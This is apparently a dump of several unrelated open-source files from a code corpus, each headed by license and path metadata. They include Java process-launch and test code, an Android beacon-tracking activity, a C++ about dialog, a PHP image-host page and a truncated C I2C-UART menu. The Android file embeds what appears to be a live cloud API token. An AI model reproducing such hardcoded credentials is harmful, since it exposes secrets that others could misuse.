BattleScreen.FieldEffects.OwnProtectMovesCount += 1 BattleScreen.FieldEffects.OwnProtectCounter = 1 Else BattleScreen.FieldEffects.OppProtectMovesCount += 1 BattleScreen.FieldEffects.OppProtectCounter = 1 End If Dim p As Pokemon = BattleScreen.OwnPokemon If own = False Then p = BattleScreen.OppPokemon End If BattleScreen.BattleQuery.Add(New TextQueryObject(p.GetDisplayName() & " protected itself!")) End Sub End Class End Namespace
gpl-3.0
sapia-oss/corus
modules/client/src/main/java/org/sapia/corus/client/services/deployer/dist/BaseJavaStarter.java
10837
package org.sapia.corus.client.services.deployer.dist; import static org.sapia.corus.client.services.deployer.dist.ConfigAssertions.attributeNotNullOrEmpty; import java.io.File; import java.io.Serializable; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.List; import java.util.Map; import org.apache.commons.lang.text.StrLookup; import org.apache.commons.lang.text.StrSubstitutor; import org.sapia.console.CmdLine; import org.sapia.corus.client.common.CompositeStrLookup; import org.sapia.corus.client.common.Env; import org.sapia.corus.client.common.EnvVariableStrLookup; import org.sapia.corus.client.common.FileUtil; import org.sapia.corus.client.common.FileUtil.FileInfo; import org.sapia.corus.client.common.PathFilter; import org.sapia.corus.client.common.PropertiesStrLookup; import org.sapia.corus.client.exceptions.misc.MissingDataException; import org.sapia.corus.interop.InteropCodec.InteropWireFormat; import org.sapia.corus.interop.api.Consts; import org.sapia.ubik.util.Strings; import org.sapia.util.xml.confix.ConfigurationException; /** * This helper class can be inherited from to implement {@link Starter}s that * launch Java processes. * * @author Yanick Duchesne */ public abstract class BaseJavaStarter implements Starter, Serializable { static final long serialVersionUID = 1L; protected String javaHome = System.getProperty("java.home"); protected String javaCmd = "java"; protected String vmType; protected String profile; protected String corusHome = System.getProperty("corus.home"); protected List<VmArg> vmArgs = new ArrayList<VmArg>(); protected List<Property> vmProps = new ArrayList<Property>(); protected List<Option> options = new ArrayList<Option>(); protected List<XOption> xoptions = new ArrayList<XOption>(); private List<Dependency> dependencies = new ArrayList<Dependency>(); private boolean interopEnabled = true; private boolean numaEnabled = true; private InteropWireFormat interopWireFormat = InteropWireFormat.PROTOBUF; /** * Sets the Corus home. * * @param home * the Corus home. */ public void setCorusHome(String home) { corusHome = home; } /** * @param numaEnabled if <code>ttue</code>, indicates that NUMA is enabled for process corresponding to this instance. */ public void setNumaEnabled(boolean numaEnabled) { this.numaEnabled = numaEnabled; } @Override public boolean isNumaEnabled() { return numaEnabled; } /** * @param interopEnabled if <code>true</code>, indicates that interop is enabled (<code>true</code> by default). */ public void setInteropEnabled(boolean interopEnabled) { this.interopEnabled = interopEnabled; } public boolean isInteropEnabled() { return interopEnabled; } /** * @param interopWireFormat the interop wire format type to use for the process. */ public void setInteropWireFormat(String interopWireFormat) { this.interopWireFormat = InteropWireFormat.forType(interopWireFormat); } public InteropWireFormat getInteropWireFormat() { return interopWireFormat; } /** * Sets this instance's profile. * * @param profile * a profile name. */ public void setProfile(String profile) { this.profile = profile; } /** * Returns this instance's profile. * * @return a profile name. */ public String getProfile() { return profile; } /** * Adds the given {@link VmArg} to this instance. * * @param arg * a {@link VmArg}. */ public void addArg(VmArg arg) { vmArgs.add(arg); } /** * Adds the given property to this instance. * * @param prop * a {@link Property} instance. */ public void addProperty(Property prop) { vmProps.add(prop); } /** * Adds the given VM option to this instance. * * @param opt * an {@link Option} instance. */ public void addOption(Option opt) { options.add(opt); } /** * Adds the given "X" option to this instance. * * @param opt * a {@link XOption} instance. */ public void addXoption(XOption opt) { xoptions.add(opt); } /** * Sets this instance's JDK home directory. * * @param home * the full path to a JDK installation directory */ public void setJavaHome(String home) { javaHome = home; } /** * Sets the name of the 'java' executable. * * @param cmdName * the name of the 'java' executable */ public void setJavaCmd(String cmdName) { javaCmd = cmdName; } public void setVmType(String aType) { vmType = aType; } /** * Adds a dependency to this instance. * * @param dep * a {@link Dependency} */ public void addDependency(Dependency dep) { if (dep.getProfile() == null) { dep.setProfile(profile); } dependencies.add(dep); } public Dependency createDependency() { Dependency dep = new Dependency(); dep.setProfile(profile); dependencies.add(dep); return dep; } public List<Dependency> getDependencies() { return new ArrayList<Dependency>(dependencies); } protected CmdLineBuildResult buildCommandLine(Env env) { Map<String, String> cmdLineVars = new HashMap<String, String>(); cmdLineVars.put("user.dir", env.getCommonDir()); cmdLineVars.put("java.home", javaHome); Property[] envProperties = env.getProperties(); CompositeStrLookup propContext = new CompositeStrLookup() .add(StrLookup.mapLookup(cmdLineVars)) .add(PropertiesStrLookup.getInstance(envProperties)) .add(PropertiesStrLookup.getSystemInstance()) .add(new EnvVariableStrLookup()); CmdLine cmd = new CmdLine(); File javaHomeDir = env.getFileSystem().getFile(javaHome); if (!javaHomeDir.exists()) { throw new MissingDataException("java.home not found"); } cmd.addArg(FileUtil.toPath(javaHomeDir.getAbsolutePath(), "bin", javaCmd)); if (vmType != null) { if (!vmType.startsWith("-")) { cmd.addArg("-" + vmType); } else { cmd.addArg(vmType); } } for (VmArg arg : vmArgs) { String value = render(propContext, arg.getValue()); if (!Strings.isBlank(value)) { VmArg copy = new VmArg(); copy.setValue(value); cmd.addElement(copy.convert()); } } for (XOption opt : xoptions) { String value = render(propContext, opt.getValue()); XOption copy = new XOption(); copy.setName(opt.getName()); copy.setValue(value); if (!Strings.isBlank(copy.getName())) { cmdLineVars.put(copy.getName(), value); } cmd.addElement(copy.convert()); } for (Option opt : options) { String value = render(propContext, opt.getValue()); Option copy = new Option(); copy.setName(opt.getName()); copy.setValue(value); if (!Strings.isBlank(copy.getName())) { cmdLineVars.put(copy.getName(), value); } cmd.addElement(copy.convert()); } for (Property prop : vmProps) { String value = render(propContext, prop.getValue()); Property copy = new Property(); copy.setName(prop.getName()); copy.setValue(value); cmdLineVars.put(copy.getName(), value); cmd.addElement(copy.convert()); } for (Property prop : envProperties) { if (propContext.lookup(prop.getName()) != null) { cmd.addElement(prop.convert()); } } // adding interop option Property interopWireFormatProp = new Property(Consts.CORUS_PROCESS_INTEROP_PROTOCOL, interopWireFormat.type()); cmd.addElement(interopWireFormatProp.convert()); CmdLineBuildResult ctx = new CmdLineBuildResult(); ctx.command = cmd; ctx.variables = propContext; return ctx; } protected String getOptionalCp(String libDirs, StrLookup envVars, Env env) { String processUserDir; if ((processUserDir = env.getCommonDir()) == null || !env.getFileSystem().getFile(env.getCommonDir()).exists()) { processUserDir = System.getProperty("user.dir"); } String[] baseDirs; if (libDirs == null) { return ""; } else { baseDirs = FileUtil.splitFilePaths(render(envVars, libDirs)); } StringBuffer buf = new StringBuffer(); for (int dirIndex = 0; dirIndex < baseDirs.length; dirIndex++) { String baseDir = baseDirs[dirIndex]; String currentDir; if (FileUtil.isAbsolute(baseDir)) { currentDir = baseDir; } else { currentDir = FileUtil.toPath(processUserDir, baseDir); } FileInfo fileInfo = FileUtil.getFileInfo(currentDir); PathFilter filter = env.createPathFilter(fileInfo.directory); if (fileInfo.isClasses) { if (buf.length() > 0) { buf.append(File.pathSeparator); } buf.append(fileInfo.directory); } else { if (fileInfo.fileName == null) { filter.setIncludes(new String[] { "**/*.jar", "**/*.zip" }); } else { filter.setIncludes(new String[] { fileInfo.fileName }); } if (buf.length() > 0) { buf.append(File.pathSeparator); } String[] jars = filter.filter(); Arrays.sort(jars); for (int i = 0; i < jars.length; i++) { buf.append(fileInfo.directory).append(File.separator).append(jars[i]); if (i < (jars.length - 1)) { buf.append(File.pathSeparator); } } } } return render(envVars, buf.toString()); } protected String render(StrLookup context, String value) { StrSubstitutor substitutor = new StrSubstitutor(context); return substitutor.replace(value); } protected String getCp(Env env, String basedir) { PathFilter filter = env.createPathFilter(basedir); filter.setIncludes(new String[] { "**/*.jar" }); String[] jars = filter.filter(); StringBuffer buf = new StringBuffer(); for (int i = 0; i < jars.length; i++) { buf.append(basedir).append(File.separator).append(jars[i]); if (i < (jars.length - 1)) { buf.append(File.pathSeparator); } } return buf.toString(); } protected void doValidate(String elementName) throws ConfigurationException { attributeNotNullOrEmpty(elementName, "corusHome", corusHome); attributeNotNullOrEmpty(elementName, "javaCmd", javaCmd); attributeNotNullOrEmpty(elementName, "javaHome", javaHome); attributeNotNullOrEmpty(elementName, "profile", profile); } static final class CmdLineBuildResult { CmdLine command; StrLookup variables; } }
gpl-3.0
konrad-jamrozik/droidmate
dev/droidmate/scripts/decode_apk.sh
142
#!/bin/bash java -jar c:/my/local/repos/chair/droidmate/dev/droidmate/projects/core/src/main/resources/apktool.jar decode --no-src --force $1
gpl-3.0
sgsinclair/trombone
src/test/java/org/voyanttools/trombone/tool/corpus/DocumentTokensTest.java
3879
package org.voyanttools.trombone.tool.corpus; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertTrue; import java.io.IOException; import java.util.List; import org.junit.Test; import org.voyanttools.trombone.model.DocumentToken; import org.voyanttools.trombone.storage.Storage; import org.voyanttools.trombone.tool.build.RealCorpusCreator; import org.voyanttools.trombone.util.FlexibleParameters; import org.voyanttools.trombone.util.TestHelper; public class DocumentTokensTest { @Test public void test() throws IOException { for (Storage storage : TestHelper.getDefaultTestStorages()) { System.out.println("Testing with "+storage.getClass().getSimpleName()+": "+storage.getLuceneManager().getClass().getSimpleName()); test(storage); } } public void test(Storage storage) throws IOException { FlexibleParameters parameters; parameters = new FlexibleParameters(); parameters.addParameter("string", "It was a dark and stormy night."); parameters.addParameter("string", "It was the best of times it was the worst of times."); RealCorpusCreator creator = new RealCorpusCreator(storage, parameters); creator.run(); parameters.setParameter("corpus", creator.getStoredId()); DocumentTokens docTokens; List<DocumentToken> tokens; docTokens = new DocumentTokens(storage, parameters); docTokens.run(); tokens = docTokens.getDocumentTokens(); assertEquals(44, tokens.size()); assertEquals("It", tokens.get(2).getTerm()); parameters.setParameter("withPosLemmas", "true"); docTokens = new DocumentTokens(storage, parameters); docTokens.run(); tokens = docTokens.getDocumentTokens(); assertEquals(44, tokens.size()); assertEquals("it", tokens.get(2).getLemma()); storage.destroy(); } @Test public void testLanguages() throws IOException { for (Storage storage : TestHelper.getDefaultTestStorages()) { System.out.println("Testing with "+storage.getClass().getSimpleName()+": "+storage.getLuceneManager().getClass().getSimpleName()); testLanguages(storage); } } public void testLanguages(Storage storage) throws IOException { FlexibleParameters parameters; parameters = new FlexibleParameters(); parameters.addParameter("file", new String[]{TestHelper.getResource("udhr/udhr-en.txt").getPath(),TestHelper.getResource("udhr/udhr-es.txt").getPath(),TestHelper.getResource("udhr/udhr-fr.txt").getPath()}); parameters.addParameter("string", "我们第一届全国人民代表大会第一次会议"); RealCorpusCreator creator = new RealCorpusCreator(storage, parameters); creator.run(); parameters.setParameter("corpus", creator.getStoredId()); DocumentTokens docTokens; List<DocumentToken> tokens; parameters.setParameter("withPosLemmas", "true"); parameters.setParameter("noOthers", "true"); parameters.setParameter("docIndex", "0"); docTokens = new DocumentTokens(storage, parameters); docTokens.run(); tokens = docTokens.getDocumentTokens(); assertEquals(50, tokens.size()); assertEquals("universal", tokens.get(0).getLemma()); // parameters.setParameter("docIndex", "1"); // docTokens = new DocumentTokens(storage, parameters); // docTokens.run(); // tokens = docTokens.getDocumentTokens(); // assertEquals(50, tokens.size()); // assertEquals("todo", tokens.get(2).getLemma()); parameters.setParameter("docIndex", "2"); docTokens = new DocumentTokens(storage, parameters); docTokens.run(); tokens = docTokens.getDocumentTokens(); assertEquals(50, tokens.size()); assertEquals("article", tokens.get(6).getLemma()); parameters.setParameter("docIndex", "3"); docTokens = new DocumentTokens(storage, parameters); boolean hasException = false; try { docTokens.run(); } catch (Exception e) { hasException = true; } assertTrue(hasException); storage.destroy(); } }
gpl-3.0
beia/beialand
projects/solomon/Android/Solomon/app/src/main/java/com/example/solomon/MainActivity.java
13065
package com.example.solomon; import android.annotation.SuppressLint; import android.graphics.Color; import android.support.v7.app.AppCompatActivity; import android.os.Bundle; import android.util.Log; import android.widget.TextView; import com.estimote.mustard.rx_goodness.rx_requirements_wizard.Requirement; import com.estimote.mustard.rx_goodness.rx_requirements_wizard.RequirementsWizardFactory; import com.estimote.proximity_sdk.api.EstimoteCloudCredentials; import com.estimote.proximity_sdk.api.ProximityObserver; import com.estimote.proximity_sdk.api.ProximityObserverBuilder; import com.estimote.proximity_sdk.api.ProximityZone; import com.estimote.proximity_sdk.api.ProximityZoneBuilder; import com.estimote.proximity_sdk.api.ProximityZoneContext; import com.example.solomon.networkPackets.UserData; import com.example.solomon.runnables.SendLocationDataRunnable; import android.support.design.widget.AppBarLayout; import android.support.design.widget.TabLayout; import android.support.v4.view.ViewPager; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.util.ArrayList; import java.util.Calendar; import java.util.Date; import java.util.List; import kotlin.Unit; import kotlin.jvm.functions.Function0; import kotlin.jvm.functions.Function1; public class MainActivity extends AppCompatActivity { //Beacon variables public Date currentTime; private ProximityObserver proximityObserver; public static TextView feedBackTextView; public int userId; public ObjectOutputStream objectOutputStream; public ObjectInputStream objectInputStream; //UI variables private TabLayout tabLayout; private ViewPager viewPager; private ViewPagerAdapter viewPagerAdapter; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); initUI(); //getUserData UserData userData = (UserData) getIntent().getSerializableExtra("UserData"); userId = userData.getUserId(); objectOutputStream = LoginActivity.objectOutputStream; objectInputStream = LoginActivity.objectInputStream; //initialized cloud credentials EstimoteCloudCredentials cloudCredentials = new EstimoteCloudCredentials("solomon-app-ge4", "97f78b20306bb6a15ed1ddcd24b9ca21"); //instantiated the proximity observer this.proximityObserver = new ProximityObserverBuilder(getApplicationContext(), cloudCredentials) .onError(new Function1<Throwable, Unit>() { @Override public Unit invoke(Throwable throwable) { Log.e("app", "proximity observer error: " + throwable); feedBackTextView.setText("proximity error"); return null; } }) .withBalancedPowerMode() .build(); //instantiated a proximity zone final ProximityZone zone1 = new ProximityZoneBuilder() .forTag("Room1") .inCustomRange(3.0) .onEnter(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Entered the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room1", true, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .onExit(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Left the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room1", false, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .build(); final ProximityZone zone2 = new ProximityZoneBuilder() .forTag("Room2") .inCustomRange(3.0) .onEnter(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Entered the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room2", true, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .onExit(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Left the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room2", false, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .build(); final ProximityZone zone3 = new ProximityZoneBuilder() .forTag("Room3") .inCustomRange(3.0) .onEnter(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Entered the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room3", true, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .onExit(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Left the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room3", false, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .build(); final ProximityZone zone4 = new ProximityZoneBuilder() .forTag("Room4") .inCustomRange(3.0) .onEnter(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Entered the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room4", true, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .onExit(new Function1<ProximityZoneContext, Unit>() { @Override public Unit invoke(ProximityZoneContext context) { feedBackTextView.setText("Left the: " + context.getTag()); //get current time currentTime = Calendar.getInstance().getTime(); Thread sendLocationDataThread = new Thread(new SendLocationDataRunnable(userId, 1, "Room4", false, currentTime, objectOutputStream)); sendLocationDataThread.start(); return null; } }) .build(); //set bluetooth functionality RequirementsWizardFactory .createEstimoteRequirementsWizard() .fulfillRequirements(this, // onRequirementsFulfilled new Function0<Unit>() { @Override public Unit invoke() { Log.d("app", "requirements fulfilled"); proximityObserver.startObserving(zone1); proximityObserver.startObserving(zone2); proximityObserver.startObserving(zone3); proximityObserver.startObserving(zone4); feedBackTextView.setText("requirements fulfiled"); return null; } }, // onRequirementsMissing new Function1<List<? extends Requirement>, Unit>() { @Override public Unit invoke(List<? extends Requirement> requirements) { Log.e("app", "requirements missing: " + requirements); feedBackTextView.setText("requirements missing"); return null; } }, // onError new Function1<Throwable, Unit>() { @Override public Unit invoke(Throwable throwable) { Log.e("app", "requirements error: " + throwable); feedBackTextView.setText("requirements error"); return null; } }); } @SuppressLint("ResourceAsColor") public void initUI() { //get UI references tabLayout = (TabLayout) findViewById(R.id.tabLayoutId); viewPager = (ViewPager) findViewById(R.id.viewPagerId); viewPagerAdapter = new ViewPagerAdapter(getSupportFragmentManager()); feedBackTextView = findViewById(R.id.feedBackTextView); //set tabbed layout StoreAdvertisementFragment storeAdvertisementFragment = new StoreAdvertisementFragment(); Bundle bundle1 = new Bundle(); ArrayList<String> storeAdvertisementsData = new ArrayList<>(); bundle1.putStringArrayList("storeAdvertisementsData", storeAdvertisementsData); storeAdvertisementFragment.setArguments(bundle1, "storeAdvertisementsData"); UserStatsFragment userStatsFragment = new UserStatsFragment(); Bundle bundle2 = new Bundle(); ArrayList<String> userStatsData = new ArrayList<>(); bundle2.putStringArrayList("userStatsData", userStatsData); userStatsFragment.setArguments(bundle2, "userStatsData"); SettingsFragment settingsFragment = new SettingsFragment(); Bundle bundle3 = new Bundle(); ArrayList<String> profileDataAndSettingsData = new ArrayList<>(); bundle3.putStringArrayList("profileDataAndSettingsData", profileDataAndSettingsData); settingsFragment.setArguments(bundle3, "profileDataAndSettingsData"); //add the fragment to the viewPagerAdapter int numberOfTabs = 3; viewPagerAdapter.addFragment(storeAdvertisementFragment, "storeAdvertisementsData"); viewPagerAdapter.addFragment(userStatsFragment, "userStatsData"); viewPagerAdapter.addFragment(settingsFragment, "profileDataAndSettingsData"); //set my ViewPagerAdapter to the ViewPager viewPager.setAdapter(viewPagerAdapter); //set the tabLayoutViewPager tabLayout.setupWithViewPager(viewPager); //set images instead of title text for each tab tabLayout.getTabAt(0).setIcon(R.drawable.store_ads_icon); tabLayout.getTabAt(1).setIcon(R.drawable.stats_icon); tabLayout.getTabAt(2).setIcon(R.drawable.settings_icon); } }
gpl-3.0
halfa/taiga
src/ui/dlg/dlg_about.cpp
6076
/* ** Taiga ** Copyright (C) 2010-2014, Eren Okka ** ** This program is free software: you can redistribute it and/or modify ** it under the terms of the GNU General Public License as published by ** the Free Software Foundation, either version 3 of the License, or ** (at your option) any later version. ** ** This program is distributed in the hope that it will be useful, ** but WITHOUT ANY WARRANTY; without even the implied warranty of ** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ** GNU General Public License for more details. ** ** You should have received a copy of the GNU General Public License ** along with this program. If not, see <http://www.gnu.org/licenses/>. */ #include <curl/curlver.h> #include <jsoncpp/json/json.h> #include <pugixml/pugixml.hpp> #include <utf8proc/utf8proc.h> #include <zlib/zlib.h> #include "base/file.h" #include "base/gfx.h" #include "base/string.h" #include "taiga/orange.h" #include "taiga/resource.h" #include "taiga/stats.h" #include "taiga/taiga.h" #include "ui/dlg/dlg_about.h" namespace ui { enum ThirdPartyLibrary { kJsoncpp, kLibcurl, kPugixml, kUtf8proc, kZlib, }; static std::wstring GetLibraryVersion(ThirdPartyLibrary library) { switch (library) { case kJsoncpp: return StrToWstr(JSONCPP_VERSION_STRING); case kLibcurl: return StrToWstr(LIBCURL_VERSION); case kPugixml: { base::SemanticVersion version((PUGIXML_VERSION / 100), (PUGIXML_VERSION % 100) / 10, (PUGIXML_VERSION % 100) % 10); return version; } case kUtf8proc: return StrToWstr(utf8proc_version()); case kZlib: return StrToWstr(ZLIB_VERSION); break; } return std::wstring(); } //////////////////////////////////////////////////////////////////////////////// class AboutDialog DlgAbout; AboutDialog::AboutDialog() { RegisterDlgClass(L"TaigaAboutW"); } BOOL AboutDialog::OnDestroy() { taiga::orange.Stop(); return TRUE; } BOOL AboutDialog::OnInitDialog() { rich_edit_.Attach(GetDlgItem(IDC_RICHEDIT_ABOUT)); auto schemes = L"http:https:irc:"; rich_edit_.SendMessage(EM_AUTOURLDETECT, TRUE /*= AURL_ENABLEURL*/, reinterpret_cast<LPARAM>(schemes)); rich_edit_.SetEventMask(ENM_LINK); std::wstring text = L"{\\rtf1\\ansi\\deff0\\deflang1024" L"{\\fonttbl" L"{\\f0\\fnil\\fcharset0 Segoe UI;}" L"}" L"\\fs24\\b " TAIGA_APP_NAME L"\\b0 " + std::wstring(Taiga.version) + L"\\line\\fs18\\par " L"\\b Author:\\b0\\line " L"Eren 'erengy' Okka\\line\\par " L"\\b Contributors:\\b0\\line " L"saka, Diablofan, slevir, LordGravewish, cassist, rr-, sunjayc, LordHaruto, Keelhauled, thesethwalker, Soinou\\line\\par " L"\\b Third-party components:\\b0\\line " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/yusukekamiyamane/fugue-icons\"}}{\\fldrslt{Fugue Icons 3.4.5}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/open-source-parsers/jsoncpp\"}}{\\fldrslt{JsonCpp " + GetLibraryVersion(kJsoncpp) + L"}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/bagder/curl\"}}{\\fldrslt{libcurl " + GetLibraryVersion(kLibcurl) + L"}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/zeux/pugixml\"}}{\\fldrslt{pugixml " + GetLibraryVersion(kPugixml) + L"}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/JuliaLang/utf8proc\"}}{\\fldrslt{utf8proc " + GetLibraryVersion(kUtf8proc) + L"}}}, " L"{\\field{\\*\\fldinst{HYPERLINK \"https://github.com/madler/zlib\"}}{\\fldrslt{zlib " + GetLibraryVersion(kZlib) + L"}}}\\line\\par " L"\\b Links:\\b0\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"http://taiga.erengy.com\"}}{\\fldrslt{Home page}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"https://github.com/erengy/taiga\"}}{\\fldrslt{GitHub repository}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"https://hummingbird.me/groups/taiga\"}}{\\fldrslt{Hummingbird group}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"http://myanimelist.net/clubs.php?cid=21400\"}}{\\fldrslt{MyAnimeList club}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"https://twitter.com/taigaapp\"}}{\\fldrslt{Twitter account}}}\\line " L"\u2022 {\\field{\\*\\fldinst{HYPERLINK \"irc://irc.rizon.net/taiga\"}}{\\fldrslt{IRC channel}}}" L"}"; rich_edit_.SetTextEx(WstrToStr(text)); return TRUE; } BOOL AboutDialog::DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_COMMAND: { // Icon click if (HIWORD(wParam) == STN_DBLCLK) { SetText(L"Orange"); Stats.tigers_harmed++; taiga::orange.Start(); return TRUE; } break; } case WM_NOTIFY: { switch (reinterpret_cast<LPNMHDR>(lParam)->code) { // Execute link case EN_LINK: { auto en_link = reinterpret_cast<ENLINK*>(lParam); if (en_link->msg == WM_LBUTTONUP) { ExecuteLink(rich_edit_.GetTextRange(&en_link->chrg)); return TRUE; } break; } } break; } } return DialogProcDefault(hwnd, uMsg, wParam, lParam); } void AboutDialog::OnPaint(HDC hdc, LPPAINTSTRUCT lpps) { win::Dc dc = hdc; win::Rect rect; win::Rect rect_edit; rich_edit_.GetWindowRect(GetWindowHandle(), &rect_edit); const int margin = rect_edit.top; const int sidebar_width = rect_edit.left - margin; // Paint background GetClientRect(&rect); rect.left = sidebar_width; dc.FillRect(rect, ::GetSysColor(COLOR_WINDOW)); // Paint application icon rect.Set(margin / 2, margin, sidebar_width - (margin / 2), rect.bottom); DrawIconResource(IDI_MAIN, dc.Get(), rect, true, false); win::Window label = GetDlgItem(IDC_STATIC_APP_ICON); label.SetPosition(nullptr, rect, SWP_NOACTIVATE | SWP_NOREDRAW | SWP_NOOWNERZORDER | SWP_NOZORDER); label.SetWindowHandle(nullptr); } } // namespace ui
gpl-3.0
sal3/a1cms
plugins/images/index.php
2918
<?php define('a1cms', 'energy', true); define('akina', 'photohost', true); define('root', substr(dirname( __FILE__ ), 0, -14)); if (!$_COOKIE['PHPSESSID'] or preg_match('/^[a-z0-9]{26}$/', $_COOKIE['PHPSESSID']))//если куки нет совсем или идентификатор нормальный session_start(); include_once root.'sys/config.php'; include_once root.'sys/engine.php'; include_once root.'sys/functions.php'; include_once 'akinaconfig.php'; include_once 'functions.php'; if(!in_array ($_SESSION['user_group'], $config['allow_control'])) die('Access denied!'); if ($config['site_work']!=true) die ("Проводятся сервисные работы. Сервис временно недоступен."); $parse_main=array(); $view = isset($_GET['v']) ? (boolean)$_GET['v'] : false; $action = isset($_POST['action']) ? (string)$_POST['action'] : ''; // if ($_POST) // { // var_dump ($_POST); // var_dump ($_FILES); // } if(!$view && $action=='' && !$_GET['p']) $parse_main['{content}']=parse_template(get_img_template('upload'), array()); elseif($action=='upload') { include_once 'engine.php'; include_once 'upload.php'; include_once 'view.php'; } elseif($view) include_once 'view.php'; elseif($_GET['p']) { preg_match('/\w+/',$_GET['p'],$matches); $page=$config['template_path']."/".$matches['0'].".static.tpl"; if(is_file($page)) $parse_main['{content}']= file_get_contents($page); else include_once 'error404.php'; } else include_once 'error404.php'; $parse_main['{max_height}']=$config['max_height']; $parse_main['{max_width}']=$config['max_width']; $parse_main['{max_size_mb}']=$config['max_size_mb']; $parse_main['{max_quantity}']=ini_get('max_file_uploads'); $parse_main['{template}']=$config['template_url']; if(is_array($error)) $parse_main['{error}']=parse_template (get_template('info'), array("{type}" =>'error',"{title}" =>"Ошибка!","{text}" => implode("<br />", $error))); else $parse_main['{error}']=''; $cachefile=$config['site_dir']."/cache"; if (time()-@filemtime($cachefile)>$config['cache_time']) { touch($cachefile);//чтобы только один пользователь запускал подсчет list($size, $images_total, $images_h24)=get_dir_size($config['uploaddir']); $size = formatfilesize($size); file_put_contents( $cachefile, "$images_total|$size|$images_h24"); } elseif (file_exists($cachefile)) list($images_total, $size, $images_h24) = explode("|", file_get_contents($cachefile)); $parse_main['{size}']=$size; $parse_main['{images}']=$images_total; $parse_main['{images24}']=$images_h24; $parse_main['{site_http_path}']=$config['site_url']; if(!$parse_main['{content}']) $parse_main['{content}']=''; echo parse_template(get_img_template('index'), $parse_main); // $result_img['result_img']=parse_template(get_img_template('index'), $parse_main); // echo json_encode($result_img); ?>
gpl-3.0
urjaman/carlcdp
tui-other.c
12204
#include "main.h" #include "backlight.h" #include "timer.h" #include "tui.h" #include "lcd.h" #include "lib.h" #include "buttons.h" #include "dallas.h" #include "rtc.h" #include "adc.h" #include "i2c.h" #include "i2c-uart.h" #include "cron.h" // I2C UART test menu start const unsigned char tui_um_s2[] PROGMEM = "INIT UART"; const unsigned char tui_um_s3[] PROGMEM = "VIEW RX"; const unsigned char tui_um_s4[] PROGMEM = "TX HELLO"; const unsigned char tui_um_s5[] PROGMEM = "CHECK PRESENSE"; PGM_P const tui_um_table[] PROGMEM = { (PGM_P)tui_um_s2, // init (PGM_P)tui_um_s3, // rx view (PGM_P)tui_um_s4, // tx hello (PGM_P)tui_um_s5, // tx hello (PGM_P)tui_exit_menu, // exit }; static uint8_t tui_hexbyte_printer(unsigned char*buf, int32_t v) { buf[0] = '0'; buf[1] = 'x'; uchar2xstr(buf+2,v); return 4; } const uint24_t baud_table[] PROGMEM = { 9600, 19200, 38400, 57600, 115200 }; static uint8_t tui_baud_printer(unsigned char*buf, int32_t v) { uint24_t v2 = (uint24_t)(pgm_read_dword(&(baud_table[v]))); return luint2str(buf,v2); } const unsigned char tui_dm_s7[] PROGMEM = "I2C UART TESTS"; static void tui_i2cuart_menu(void) { static uint8_t i2cuart_addr = 0x98; uint8_t sel=0; for (;;) { sel = tui_gen_listmenu((PGM_P)tui_dm_s7, tui_um_table, 5, sel); switch (sel) { default: return; case 0:{ // Init UART unsigned char buf[12]; i2cuart_addr = tui_gen_adjmenu(PSTR("I2C ADDR"),tui_hexbyte_printer,0x00,0xFF,i2cuart_addr,2); uint8_t baudsel = tui_gen_adjmenu(PSTR("BAUD RATE"),tui_baud_printer,0,4,0,1); uint24_t baudrate = (uint24_t)(pgm_read_dword(&baud_table[baudsel])); uint16_t rv = 